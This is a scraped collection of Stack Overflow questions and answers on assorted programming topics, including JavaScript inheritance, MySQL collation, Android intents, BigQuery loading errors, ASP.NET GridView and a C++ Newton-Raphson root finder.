1507321	0	Javascript inheritance implementation question <p>In his sitepoint article about <a href="http://www.sitepoint.com/blogs/2006/01/17/javascript-inheritance/" rel="nofollow noreferrer" title="javascript inheritance">javascript inheritance</a>, Harry Fuecks explains a way of implementing inheritance as follows:</p> <pre><code> function copyPrototype(descendant, parent) { var sConstructor = parent.toString(); var aMatch = sConstructor.match( /\s*function (.*)\(/ ); if ( aMatch != null ) { descendant.prototype[aMatch[1]] = parent; } for (var m in parent.prototype) { descendant.prototype[m] = parent.prototype[m]; } }; </code></pre> <p>While I understand his code, one question comes to mind - why not remove the for loop and simply do this:</p> <pre><code> function copyPrototype(descendant, parent) { var sConstructor = parent.toString(); var aMatch = sConstructor.match( /\s*function (.*)\(/ ); if ( aMatch != null ) { descendant.prototype[aMatch[1]] = parent; } descendant.prototype = parent.prototype; }; </code></pre> <p>Thanks.</p>
38625628	0	mysql won't import table as unicode even tho all variables are set to unicode <p>I have just updated my cnf properties to add the following:</p> <pre><code>init_connect = 'SET collation_connection = utf8_unicode_ci; SET NAMES utf8;' character-set-client = utf8 character-set-server = utf8 collation-server = utf8_unicode_ci skip-character-set-client-handshake </code></pre> <p>My system variables after restarting mysql:</p> <pre><code>+----------------------+-----------------+ | Variable_name | Value | +----------------------+-----------------+ | collation_connection | utf8_unicode_ci | | collation_database | utf8_unicode_ci | | collation_server | utf8_unicode_ci | +----------------------+-----------------+ </code></pre> <p>So then I ran the following query to find a table that I knew had been built in utf_general_ci:</p> <pre><code>select t.table_name, c.column_name,round(((data_length + index_length) / 1024 / 1024), 2) 'Size in MB',count(c.column_name), c.character_set_name,c.collation_name from columns c inner join tables t on t.table_schema=c.table_schema and t.table_name=c.table_name where t.table_schema='db' and (c.collation_name like '%general%' or c.character_set_name like '%general%') and (c.column_type like 'varchar%' or c.column_type like 'text') and t.table_collation not like '%latin%' and t.table_name in ('table_name') group by t.table_name, c.column_name; </code></pre> <p>So I took a dump of the table and reimported it into my database, but it stays in utf8_general_ci!!?!?!??</p> <p>Why is this? I know if I run an alter it will change it, but why didn't the dump and load resolve the problem?</p> <p>Additionally, when I run an alter to convert to utf8_unicode_ci, all the columns in the table have "COLLATE utf8_unicode_ci" listed in them.</p>
27100924	0	 <p>put this code inside click event</p> <pre><code>if(rg1.getCheckedRadioButtonId()!=-1){ int id= rg1.getCheckedRadioButtonId(); View radioButton = rg1.findViewById(id); int radioId = radioGroup.indexOfChild(radioButton); RadioButton btn = (RadioButton) rg1.getChildAt(radioId); String selection = (String) btn.getText(); } </code></pre>
32787529	0	Proper design of Java Classes <p>My question is should I make <code>counterbore</code> (a recessed hole in a plate) a property of <code>plate</code> or should <code>counterbore</code> be a property of <code>joint</code> </p> <p>I have the following classes for an engineering analysis program:</p> <pre><code>Plate Bolt Washer Nut Material Coating </code></pre> <p>I then have classes that represent various Joints</p> <pre><code>TappedJoint (a joint were the bolt is threaded into the bottom plate) will have: Plate topPlate Plate bottomPlate Bolt bolt Washer topWasher BoltedJoint Plate topPlate Plate bottomPlate Bolt bolt Nut nut Washer topWasher Washer bottomWasher </code></pre> <p>The counterbore is only applicable on the <code>topPlate</code> but I need to do validation that the user enters a plate thickness greater than the depth of the counterbore. Do I just set counterbore to null in the bottomPlate or is it better to put the counterbore property in the joint class? Or perhaps I should be using some other pattern such as subclasses?</p> <p>Coating and Material I add as property to each part because it would be too verbose to add to a joint i.e.:</p> <pre><code> BoltedJoint Plate topPlate Plate bottomPlate Coating topPlateTopSurface Coating topPlateBottomSurface Coating bottomPlateTopSurface ...etc </code></pre> <p>I can probably get it to work with either scenario but perhaps their is better design?</p>
35640059	0	 <p>This should works for you:</p> <pre><code>@"-?\d+(?:\.\d+)?" </code></pre> <p>Matchs only the dot only when have digits after it.</p>
29936664	0	Which version of oracle should I learn as a beginer? <p>I am beginner in Oracle. I have seen there are many oracle version such as XE, Enterprises, Personal, Liet and so on. I would like to learn Oracle but I am very confuse which oracle version should I learn first?</p>
3845138	0	 <p>You can't extract it since it's executed right away, but the code exists in <code>Zend_Db_Adapter_Abstract::insert()</code> and possibly overwritten in some of the adapters.</p>
20021515	0	 <pre><code>if ( SelectedIndex == -1 ) // only the text was changed. </code></pre>
26638708	0	 <p>Jars that are provided by Tomcat at runtime should be scoped as <code>provided</code> if you need them to compile but expect the Tomcat container to provide them at runtime, e.g.</p> <pre><code> &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt; &lt;version&gt;3.0.1&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; </code></pre> <p>(version is just something I threw in there... use whatever is appropriate).</p>
678164	0	DLL versus Assembly <p>what is the difference between DLL and Assembly</p> <hr> <p><strong>Exact duplicate</strong>: <a href="http://stackoverflow.com/questions/674312/difference-between-assembly-and-dll">Difference Between Assembly and DLL</a></p>
31024951	0	Getting callback from payment gateway in webview <p>I am using <a href="http://www.atomtech.in/" rel="nofollow">Atom</a> Payment Gateway for payments in my Android app. But this provider doesn't have an SDK for mobile platforms, also I cannot choose another provider because my client has been using Atom PG for their website for a long time.</p> <p>So to make it work, I am now trying to call it in a webview in my app. All goes well until the last step except that I am not able to get the response from the PG upon completion of transaction.</p> <p>As per their documentation:</p> <blockquote> <p>After the completion of the transaction, the response will be posted back to the url provided by the merchant.</p> </blockquote> <p>I already tried setting the <code>return url</code> to my reverse domain name and then setting an <code>intent-filter</code> but that doesn't seem to work.</p> <p>Is there any method by which I can get the <code>response</code> that the PG "posts back" to the return url?</p>
34328990	0	 <pre><code>public void startNewActivity(Context context, String packageName) { Intent intent = context.getPackageManager().getLaunchIntentForPackage(packageName); if (intent != null) { // We found the activity now start the activity intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(intent); } else { // Bring user to the market or let them choose an app? intent = new Intent(Intent.ACTION_VIEW); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setData(Uri.parse("market://details?id=" + packageName)); context.startActivity(intent); } } </code></pre>
15289956	0	 <p>I took your fiddle and added a new CSS class "snug" to apply for the list of years. Basically "snug" will let the list be as wide as its widest list element. Check it out: <a href="http://jsfiddle.net/2fc3W/1/" rel="nofollow">http://jsfiddle.net/2fc3W/1/</a></p> <pre><code>// the CSS ul#nav ul.snug{ width: auto; } ul#nav ul.snug li a{ display: inline; padding-right: 6px; width: auto; } // the HTML snippet &lt;ul id="nav"&gt; &lt;li&gt;&lt;a href="/ueber_uns.htm"&gt;About Us&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;Who We Are&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Our Goals&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Our Team&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Press&lt;/a&gt; &lt;ul class="snug"&gt; &lt;li&gt;&lt;a href="#"&gt;2006&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;2007&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;2008&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Impressum&lt;/a&gt; &lt;/li&gt; &lt;li class="bottom_li"&gt;&lt;a href="#"&gt;&lt;span class="li_hover"&gt;See all&lt;/span&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; ... </code></pre>
1368557	0	 <p>There are two fundamentally different approaches to achieve real-time capabilities with Linux.</p> <p>1) Patch the existing kernel with things like the rt-preempt patches. This will eventually lead to a fully preemptive kernel</p> <p>2) Dual kernel approach (like xenomai, RTLinux, RTAI,...)</p> <p>There are lots of gotchas moving from a RTOS to Linux.</p> <p>Maybe you don't really need real-time?</p> <p>I'm talking about real-time Linux in my training: <a href="http://www.reliableembeddedsystems.com/embedded-systems_7.html" rel="nofollow noreferrer">http://www.reliableembeddedsystems.com/embedded-systems_7.html</a></p>
18231373	0	 <p>You load ckeditor and after you fill the textarea. No way, the ckeditor is loaded. An has not live update. You must change order.</p> <pre><code>&lt;script&gt; function BindData() { $("#input").val('This is CK Editor Demo'); } BindData(); $(document).ready(function () { $("#input").ckeditor(); }); &lt;/script&gt; </code></pre>
16184912	0	 <p>Try to DisplayMemberPath, it display shortnames. </p> <pre><code>&lt;ComboBox ItemsSource="{Binding Flangs, Mode=OneTime}" SelectedItem="{Binding Flang, Mode=TwoWay}" DisplayMemberPath="ShortNames"/&gt; </code></pre>
1311289	0	 <p>You can look at the following projects.</p> <ul> <li><a href="http://akuma.kohsuke.org/" rel="nofollow noreferrer">Akuma</a> </li> <li><a href="http://commons.apache.org/daemon/" rel="nofollow noreferrer">Apache Deamon</a></li> </ul>
38500580	0	when enabling errors to bigquery I do not receive the bad record number <p>I'm using <a href="https://cloud.google.com/bigquery/bq-command-line-tool" rel="nofollow">bigquery command line tool</a> to upload these records:</p> <pre><code>{name: "a"} {name1: "b"} {name: "c"} </code></pre> <p>.</p> <pre><code>➜ ~ bq load --source_format=NEWLINE_DELIMITED_JSON my_dataset.my_table ./names.json </code></pre> <p>this is the result I get: </p> <pre><code>Upload complete. Waiting on bqjob_r7fc5650eb01d5fd4_000001560878b74e_1 ... (2s) Current status: DONE BigQuery error in load operation: Error processing job 'my_dataset:bqjob...4e_1': JSON table encountered too many errors, giving up. Rows: 2; errors: 1. Failure details: - JSON parsing error in row starting at position 5819 at file: file-00000000. No such field: name1. </code></pre> <p>when I use <code>bq --format=prettyjson show -j &lt;jobId&gt;</code> I get:</p> <pre><code> { "status": { "errorResult": { "location": "file-00000000", "message": "JSON table encountered too many errors, giving up. Rows: 2; errors: 1.", "reason": "invalid" }, "errors": [ { "location": "file-00000000", "message": "JSON table encountered too many errors, giving up. Rows: 2; errors: 1.", "reason": "invalid" }, { "message": "JSON parsing error in row starting at position 5819 at file: file-00000000. No such field: name1.", "reason": "invalid" } ], "state": "DONE" } } </code></pre> <p>As you can see I receive an error which tells me in what line I had an error. : <strong>Rows: 2; errors: 1</strong> </p> <p>Now I'm trying to enable errors by using <a href="https://cloud.google.com/bigquery/docs/reference/v2/jobs#configuration.load.maxBadRecords" rel="nofollow">max_bad_errors</a></p> <pre><code> ➜ ~ bq load --source_format=NEWLINE_DELIMITED_JSON --max_bad_records=3 my_dataset.my_table ./names.json </code></pre> <p>here is what I receive:</p> <pre><code>Upload complete. Waiting on bqjob_...ce1_1 ... (4s) Current status: DONE Warning encountered during job execution: JSON parsing error in row starting at position 5819 at file: file-00000000. No such field: name1. </code></pre> <p>when I use <code>bq --format=prettyjson show -j &lt;jobId&gt;</code> I get:</p> <pre><code>{ . . . "status": { "errors": [ { "message": "JSON parsing error in row starting at position 5819 at file: file-00000000. No such field: name1.", "reason": "invalid" } ], "state": "DONE" }, } </code></pre> <p>when I check - it actually uploads the good records to the table and ignores the bad record, </p> <p>but now I do not know in what record the error was.</p> <p>Is this a big query bug? can it be fixed so I receive record number also when enabling bad records?</p>
5333193	0	 <p>Let's say you want to find all permutations of [1, 2, 3, 4]. There are 24 (=4!) of these, so number them 0-23. What we want is a non-recursive way to find the Nth permutation.</p> <p>Let's say we sort the permutations in increasing numerical order. Then:</p> <ul> <li>Permutations 0-5 start with 1</li> <li>Permutations 6-11 start with 2</li> <li>Permutations 12-17 start with 3</li> <li>Permutations 18-23 start with 4</li> </ul> <p>So we can get the first number of permutation N by dividing N by 6 (=3!), and rounding up.</p> <p>How do we get the next number? Look at the second numbers in permutations 0-5:</p> <ul> <li>Permutations 0-1 have second number 2.</li> <li>Permutations 2-3 have second number 3.</li> <li>Permutations 4-5 have second number 4.</li> </ul> <p>We see a similar thing with permutations 6-11:</p> <ul> <li>Permutations 6-7 have second number 1.</li> <li>Permutations 8-9 have second number 3.</li> <li>Permutations 10-11 have second number 4. </li> </ul> <p>In general, take the remainder after dividing by 6 earlier, divide that by 2 (=2!), and round up. That gives you 1, 2, or 3, and the second item is the 1st, 2nd or 3rd item left in the list (after you've taken out the first item).</p> <p>You can keep going in this way. Here's some code that does this:</p> <pre><code>from math import factorial def gen_perms(lst): all_perms = [] # Find the number of permutations. num_perms = factorial(len(lst)) for i in range(num_perms): # Generate the ith permutation. perm = [] remainder = i # Clone the list so we can remove items from it as we # add them to our permutation. items = lst[:] # Pick out each item in turn. for j in range(len(lst) - 1): # Divide the remainder at the previous step by the # next factorial down, to get the item number. divisor = factorial(len(lst) - j - 1) item_num = remainder / divisor # Add the item to the permutation, and remove it # from the list of available items. perm.append(items[item_num]) items.remove(items[item_num]) # Take the remainder for the next step. remainder = remainder % divisor # Only one item left - add it to the permutation. perm.append(items[0]) # Add the permutation to the list. all_perms.append(perm) return all_perms </code></pre>
7962522	0	 <p>I am not sure but I have a feeling your problem is in the selector you are passing to the button.</p> <p>Try to see if you are using a selector with ":" to a method with out parameters.</p> <p>If you are using selector that looks like this:</p> <pre><code>@selector(method:) </code></pre> <p>Then is is expected that "method" will take parameters:</p> <pre><code>-(IBAction)method:(UIButton)sender{ } </code></pre> <p>if your function is not taking any parameters:</p> <pre><code>-(IBAction)method{ } </code></pre> <p>then your selector should look like that:</p> <pre><code>@selector(method) </code></pre>
2659346	0	 <p>It has something to do with your link and content. Try the following two links:</p> <pre><code> String path="http://www.ted.com/talks/download/video/8584/talk/761"; String path1="http://commonsware.com/misc/test2.3gp"; Uri uri=Uri.parse(path1); VideoView video=(VideoView)findViewById(R.id.VideoView01); video.setVideoURI(uri); video.start(); </code></pre> <p>Start with "path1", it is a small light weight video stream and then try the "path", it is a higher resolution than "path1", a perfect high resolution for the mobile phone.</p>
28696650	0	Windows Phone 8.0 ListBox Out Of Memory Extension <p>Sorry for my english. I'am execute next code: in XAML ...</p> <pre><code>&lt;Button Content="Add More" Width="160" Click="Button_Click_2"/&gt; &lt;ListBox x:Name="list"/&gt; </code></pre> <p>...</p> <p>in CS ...</p> <pre><code> for (int i = 0; i &lt; 20; i++) { list.Items.Add(new Image { Source = new BitmapImage { UriSource = new Uri("http://pravda-team.ru/eng/image/photo/4/7/4/73474.jpeg") } }); } </code></pre> <p>...</p> <p>This code working, but if I click on the button a few times, there is an exception "Out Of Memory Extension" I tried to use Garbage Collector and AutoCaching, but the error persists. I catch this extension on the next screen shot: <img src="https://i.stack.imgur.com/JL3kX.jpg" alt="enter image description here"></p>
687604	0	 <p>Check out <a href="http://www.rssdotnet.com/" rel="nofollow noreferrer">http://www.rssdotnet.com/</a>. It is very good at reading RSS feeds. And Im pretty sure you will be able to add a namespace to the parser so you can get to the value you want</p>
20930428	0	Recursive function returns a nan (c++) <p>when i use a while loop, the function returns a correct value, but when I make the function recursive, it returns a nan. For debugging purposes, I cout-ed the value(x) just before returning it and it gives a correct answer, but after returning the value to the calling function, it's a nan. One other thing, the program doesn't take 0 for the coefficients of x. Any attempts result in nan. Below is my code (all of it just to be sure I didn't give insufficient information): </p> <pre><code>// This is my first useful program // to calculate the root (Solution) of exponential // functions up to the fourth degree using // Newton-Raphson method and applying a recursive function #include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;string&gt; using namespace std; // Below is the function fGetRoot's prototype declaration // c4, c3, etc are the coefficients of x in the 4th power, 3rd power // etc, while c is the constant float fGetRoot (float c4, float c3, float c2, float c1, float c); float fPowerFunc(float fPowered, int iPower); float x; // declaring this as global variables so they can be initialized in the calling function int i=10; // and be used in the recursive function without being reinitialized during each recursion int main() { float c4, c3, c2, c1, c; float fRoot; cout &lt;&lt; "Hello, I am a genie for calculating the root of your problems\ up to the fourth power" &lt;&lt; endl; cout &lt;&lt; "Please enter the values of the coefficients of x to the power 4\ , 3, 2, 1 and the constant respectively" &lt;&lt; endl; cout &lt;&lt; "x^4:" &lt;&lt; endl; cin &gt;&gt; c4; cout &lt;&lt; "\n x^3:" &lt;&lt; endl; cin &gt;&gt; c3; cout &lt;&lt; "x^2:" &lt;&lt; endl; cin &gt;&gt; c2; cout &lt;&lt; "\n x:" &lt;&lt; endl; cin &gt;&gt; c1; cout &lt;&lt; "Constant, C:" &lt;&lt; endl; cin &gt;&gt; c; cout &lt;&lt; "\nEnter the initial iteration. Any figure is fine. The closer to the answer, the better" &lt;&lt; endl; cin &gt;&gt; x; i=10; // gets the number of times to iterate. the larger, the more accurate the answer fRoot = fGetRoot(c4, c3, c3, c1, c); cout &lt;&lt;"\nAnd the root is: " &lt;&lt; fRoot &lt;&lt; "\n"; return 0; } // The fGetRoot function float fGetRoot(float c4, float c3, float c2, float c1, float c) { float fTemp1, fTemp2, fTemp3, fTemp4; // the series of lines below are equivalent to the one line below but clearer fTemp1 = c4*fPowerFunc(x,4); cout &lt;&lt; "This is the value of c4*x^4: "&lt;&lt; fTemp1 &lt;&lt; endl; // for debugging purposes fTemp2 = c3*fPowerFunc(x,3); fTemp3 = fTemp2 + fTemp1; fTemp1 = c2*fPowerFunc(x,2); cout &lt;&lt; "This is the value of c2*x^2: "&lt;&lt; fTemp1 &lt;&lt; endl; //for debugging purposes fTemp2 = c1*fPowerFunc(x,1); fTemp4 = fTemp1 + fTemp2 + c; fTemp1 = fTemp3 + fTemp4; fTemp2 = 4*c4*fPowerFunc(x,3); fTemp3 = 3*c3*fPowerFunc(x,2); fTemp4 = fTemp2 + fTemp3 + 2*c2*x; fTemp2 = fTemp4; fTemp3 = fTemp1/fTemp2; fTemp1 = fTemp3; fTemp2 = x - fTemp1; x = fTemp2; i--; // The line below is equivalent to the "fTemp" series of lines... just to be sure //x=x-(c4*fPowerFunc(x,4)+c3*fPowerFunc(x,3)+c2*fPowerFunc(x,2)+c1*fPowerFunc(x,1)+c)/(4*c4*fPowerFunc(x,3)+3*c3*fPowerFunc(x,2)+2*c2*x); cout &lt;&lt; "\nThis is x: " &lt;&lt; x &lt;&lt; endl; i--; if(i==0) return x; x=fGetRoot(c4, c3, c2, c1, c); // Let the recursion begin... } // A simpler approach to the fPowerFunc(). This gets two numbers and powers the left one by the right one. It works right float fPowerFunc(float fPowered, int iPower) { float fConstant=fPowered; while(iPower&gt;0) { fPowered *=fConstant; iPower--; } return fPowered; } </code></pre>
1567320	0	How to call an EJB from another EJB? <p>I use jboss-IDE. so, I created a project with many EJB's in the same project. now, I need a functionality exposed by EJB A in EJB B. so, I need to call EJB A in EJB B. How do I do that ?</p> <p>P.S : dealing with EJB 2.</p>
12565778	0	Web Role configuation for EF connectionstring <p>I hear a lot of people talking about storing EF connection string in Role configuration settings (.cscfg). EF connection string could only be stored as a plain string there as the "Connection String" option is for storage connection. </p> <p>In my project EF, connection string cannot be a plain string. And putting more strings and combining it to make a proper connection string is not an option at the moment. More over if Microsoft wants us to use database connection string in configuration setting , why is it that there is no option for it in .cscfg?</p> <p>Doesn't it prove that .cscfg is not a replacement for .config?</p>
12939388	0	 <p>You can use <code>.hide()</code> </p> <pre><code>$('#id').hide(); $('table').hide(); // Hides all the tables $('#identifier-0').show() // Shows the table wit id="identifier-0" </code></pre>
27848100	0	Why won't my page expand to the increasing size of an absolutely positioned div? <p>I have a form fixed to the bottom of the page, and an absolutely positioned div above it. Output from the form correctly displays just above the form itself, but when the output fills the page, I cannot scroll up and view it. It seems that the output overflows the <code>body</code> element, and is ignored. </p> <p>I've tried making the output div, called <code>main</code>, positioned relative, but the content does not appear where I want it. </p> <p>My markup in Haml: </p> <pre><code>%body .title-wrapper %h1 .main .form-wrapper %form{:action =&gt; "/", :method =&gt; "post", :id =&gt; 'target'} %input{:type =&gt; "text", :name =&gt; "code", :class =&gt; "input"} </code></pre> <p>my CSS: </p> <pre><code>* { font-family: Menlo, sans-serif; } .main { font-size: 14pt; position: absolute; bottom: 3em; width: 70%; } .title-wrapper { float: right; display: inline-block; height: 100%; width: 20%; } h1 { display: inherit; float: right; position: fixed; } .form-wrapper { width: 97%; position: absolute; bottom: 1em; } .input { width: 100%; height: 2em; font-size: 14pt; } </code></pre> <p>Image: </p> <p><img src="https://i.stack.imgur.com/khuK6.png" alt="my page"></p>
23999572	0	 <p>You could write your own method, using the code for other packages' methods as a template. </p> <p>But in the short term, it's probably a lot easier to grab the coefficient values from your <code>m.2</code> object. <code>m.2$coefficients</code> contains all the fitting coefficients, labelled as to which term they belong to. You'll then have to write a little function to match the algebraic form of your <code>PIV~(X3*X1)+(X3*X2)+X3+X1+X2+X4+X5</code> formula, with those coefficients applied.</p>
10694581	0	 <p>That's a vulnerability that exists whenever you have two or processes interop with each other. One of them dies and the other one keeps running, unaware that there will never be another request again from the dead process. In the case of an out-of-process COM server, nobody is going to call IUnknown::Release() to get the object destroyed. COM does not otherwise have a built-in fix for that problem. An in-process server doesn't have this problem, the crashed process takes the server out as well. Which is a problem too, no nice cleanup, but easier to deal with.</p> <p>Getting the server to recover from this is something you'll have to add yourself. You could, say, have the client pass its process ID so that the server can obtain the process handle and detect when the client falls over with WaitForMultipleHandles(). Assuming they both live on the machine, that's certainly not a COM requirement and not something the server can find out.</p>
11407624	0	 <p>I would recommend you to use a separate forms per button (which contrary to classic WebForms is something that you should not be afraid of in ASP.NET MVC) and of course use submit buttons instead of hyperlink which are the semantically correct element to submit a form:</p> <pre><code>@using (Ajax.BeginForm("Click", new { id = "0" }, new AjaxOptions { UpdateTargetId = "showpage" })) { &lt;button type="submit" value="Link 0" /&gt; } @using (Ajax.BeginForm("Click", new { id = "1" }, new AjaxOptions { UpdateTargetId = "showpage" })) { &lt;button type="submit" value="Link 1" /&gt; } </code></pre> <p>Now inside your <code>Click</code> action you will get the correct id.</p>
13165706	0	 <p>sorry, can't reproduce your problem, see screenshot (HTC Desire, Android 2.2, Dolphin browser), which looks fine...<br></p> <p><img src="https://i.stack.imgur.com/dlEaW.png" alt="enter image description here"></p>
33361695	0	 <p>page-break is not enough for internet explorer by own. If u try this, you can see the result. I have same problem but I solved by this way.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div style="page-break-after: always;"&gt;&lt;/div&gt; &lt;div&gt;&amp;nbsp; &lt;/div&gt;</code></pre> </div> </div> </p>
4432741	0	 <p>Take a look at this page from the Devise Wiki on GitHub: <a href="https://github.com/plataformatec/devise/wiki/How-To%3a-Customize-user-account-status-validation-when-logging-in" rel="nofollow">https://github.com/plataformatec/devise/wiki/How-To:-Customize-user-account-status-validation-when-logging-in</a></p> <p>I think that will work for what you are talking about.</p>
23723300	0	 <p>If you create a <strong>nodemon.json</strong> config file in your application folder (e.g. <code>/home/rdteam/workspace/NedvedNodeExpressTest/nodemon.json</code>) with the following JSON it should work without having to modify the Nodemon source files. </p> <pre><code>{ "exec": "/usr/local/bin/node" } </code></pre> <p>This work on OS X, you may need to change the path depending on where you have node installed.</p> <p>Details on Nodemon config files: <a href="https://github.com/remy/nodemon#config-files" rel="nofollow">https://github.com/remy/nodemon#config-files</a></p>
39439049	1	how to detect that microphone is on or off in python 3 <p><strong>Its not duplicate</strong></p> <p>I have a python code that uses speech recognition and it has a problem when microphone is off so i want to add a code that closes python if microphone is off and if its not then runs the whole script.</p> <p><strong>for example:</strong></p> <pre><code>import speech_recognition as sr #if microphone is on : r = sr.Recognizer() with sr.Microphone() as source: audio = r.listen(source) try: said = r.recognize_google(audio) print(audio) except sr.UnknownValueError: print('google did not understand what you said') except sr.RequestError as e: print('errpr' + "; {0}".format(e)) #else print('please turn your microphone on and open again') quit() </code></pre> <p>any ideas how to do that?</p> <p><strong>Its not a duplicate question and it's completely a different question</strong></p> <p><a href="http://stackoverflow.com/questions/2797572/how-to-see-if-there-is-one-microphone-active-using-python">In this link</a> : we can detect that microphone is connected to pc or not , i wanna detect that microphone button is on or off.</p> <p>Actually my codes has this error that when my microphone is off and i run the code then i turn that on while code is still running , it will not recognize my voice , so i want to warn user to turn his microphone on then restart program.</p>
17918643	0	 <p>You should create 4 separate products ( duplicate ) and make each visible only for one store. This can be done in <code>Catalog -&gt; Product -&gt; *choose your product* -&gt; Websites tab</code>. Only then you can have different quantity for each store.</p>
31474212	0	 <p>A path always contains the core component and the complete address list required to locate the file. It is mainly significant environment variable of Java environment. In other words it represents a path that is hierarchical sequence of directory and file name elements separated by a special partition. A Path can represent a root, a root and a sequence of names .A path is considered to be an empty path if it consists solely of one name element that is empty. For more details you can move to <a href="http://www.resumewritingserviceindianapolis.us/" rel="nofollow">resume writing service Indianapolis</a> from online. </p>
27652908	0	Java Ram Usage Inconsistencies <p>I am currently working on a 2D java game which utilizes a linkedhashmap for rendering data at a particular tile. When I serialize the class object which contains this as well as a few other non transient objects used for map rendering the file which is output only has a size of 4kb. To my understanding RAM usage depends upon the size of whatever is being read from, but apparently I am using up a max of 20% of my memory reading from a file that is less than 4kb in size. This leads me to believe that my understanding of how RAM works is wrong or I am missing something that is giving me bad RAM readings.</p> <p><strong>Method of RAM Analysis</strong></p> <pre><code>usedPercent = (double) (Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()) / Runtime.getRuntime().maxMemory(); </code></pre>
19620703	0	How to access a textbox text from gridview to a button Onclick event <p>I am having textboxes and buttons in gridview. What I want is that when I click on those buttons the corresponding value in textbox is updated to database, so I need to access the textbox text in OnClick event. How can I do this?</p> <p>Gridview:</p> <pre><code>&lt;asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" BackColor="#CCCCCC" BorderColor="#999999" BorderStyle="Solid" BorderWidth="3px" CellPadding="4" CellSpacing="2" ForeColor="Black" OnRowDataBound="GridView1_RowDataBound" onselectedindexchanged="GridView1_SelectedIndexChanged"&gt; &lt;Columns&gt; &lt;asp:TemplateField HeaderText="Save 1"&gt; &lt;ItemTemplate&gt; &lt;asp:TextBox ID="TextBox1" Width="30px" runat="server"&gt;&lt;/asp:TextBox&gt; &lt;asp:Button ID="btnSave1" runat="server" Text="Save" OnClick="btnSave1_Click" /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:TemplateField HeaderText="Save 2"&gt; &lt;ItemTemplate&gt; &lt;asp:TextBox ID="TextBox2" Width="30px" runat="server"&gt;&lt;/asp:TextBox&gt; &lt;asp:Button ID="btnSave2" runat="server" Text="Save" OnClick="btnSave2_Click" /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; </code></pre> <p>Button Onclick Event:</p> <pre><code>protected void btnSave1_Click(object sender, EventArgs e) { //I want to access TextBox1 here. } </code></pre> <p>Please help me out of this.</p>
10110588	0	 <p>Answer added to the original post.</p>
3474766	0	 <p>If you just want to check for their existence and don't need the link, you should use <a href="http://codex.wordpress.org/Function_Reference/get_previous_post" rel="nofollow noreferrer"><code>get_previous_post</code></a> and <a href="http://codex.wordpress.org/Function_Reference/get_next_post" rel="nofollow noreferrer"><code>get_next_post</code>.</a> They don't apply unnecessary formatting that you would ignore if you just use it in an <code>if</code> test. You can still get a link from the post object it returns by passing it to <a href="http://codex.wordpress.org/Function_Reference/get_permalink" rel="nofollow noreferrer"><code>get_permalink</code></a>.</p>
30459996	0	 <p>To have multiple Xcode instances installed you can put them to different folders for example /Developer5.0.2/Xcode, but to use them in CI or build environment(command line) you need to setup some environment variables during the build. You can have more instructions <a href="https://asile.digitalhusky.com/2015/05/25/multiple-xcode-versions-on-ci-node/" rel="nofollow">here</a>. So it is working not just with beta and fresh release, also it's working for the really old versions, you might need it to use with Marmalade or Unity plugins which is not support the latest Xcode versions yet(some times it's happens).</p>
26002748	0	Event listener for dynamically created html <p>I am dynamically generating html, and I want the elements I add to have event listeners. The "board" div is in my html file, and I create the "myDiv" element. This part works.</p> <pre><code>var board = document.getElementById("board"); var myDiv = document.createElement('div'); myDiv.innerHTML="this is my div"; </code></pre> <p>Then I try to add an event listener to the "myDiv" div. I have tried all of the following:</p> <pre><code>myDiv.onclick=function(){alert('click')}; myDiv.addEventListener('click', function(){alert('click')}); myDiv.onclick=myFunction //myFunction just creates an alert like the others </code></pre> <p>Then I append the 'myDiv' element to the board. It shows up on the screen as expected</p> <pre><code>board.appendChild(myDiv); </code></pre> <p>The div elements show up as expected, and when I open the javascript console in chrome it looks like that part is correct. Also, the javascript console says that there is a 'click' event listener attached to the 'myDiv' div, but no alert ever comes up like it should. How can I fix this? Thanks!</p>
9599312	0	 <p>UIViewControllers may implement didReceiveMemoryWarning that the system calls when your app is on low memory. Framework classes, as core text, are most likely do implement this and act accordingly to save memory. So it is possible that your core text object aims to help your app resolving the low-mem situation with freeing some of its resources that can even cause it to blank its contents. Fix first <em>all</em> memory leaks in your app.</p> <p>On the other hand, all bugs are very difficult to correct if you can't reproduce them. If you suspect that the issue is due to low memory, try to simulate this yourself by allocating huge amount of memory in your application and hope that you can reproduce the erroneous behavior that way.</p>
26196251	0	 <p>So it turns out the blog post I was quoting is about advanced mode (mode which allows specifying exact ad size via CSS). Even though more than a year ago Google recognized the problem, <strong>the advanced ads are not resizing automatically when screen orientation chages.</strong></p> <p>The AdSense documentation states that responsive ads resize with orientation changes. That's true, but only for default (not advanced ads).</p> <p>The advanced mode allows specifying exact ad sizes with @media CSS rules which is nice. But for me it was possible to achieve almost same thing by wrapping default responsive ads with div container. The container's size can also be specified by CSS @media rules, so I have same result as with advanced ads + I get benefit of ads resizing when screen orientation changes. </p>
38325316	0	 <p>Starting from KitKat, you have access to a method to get that directory : </p> <pre><code>Context.getExternalFilesDirs() </code></pre> <p>Note that it may return null if the SD card is not mounted or moved during the access. Also, you might need to add these permissions to your manifest file : </p> <pre><code>&lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&gt; &lt;uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /&gt; </code></pre>
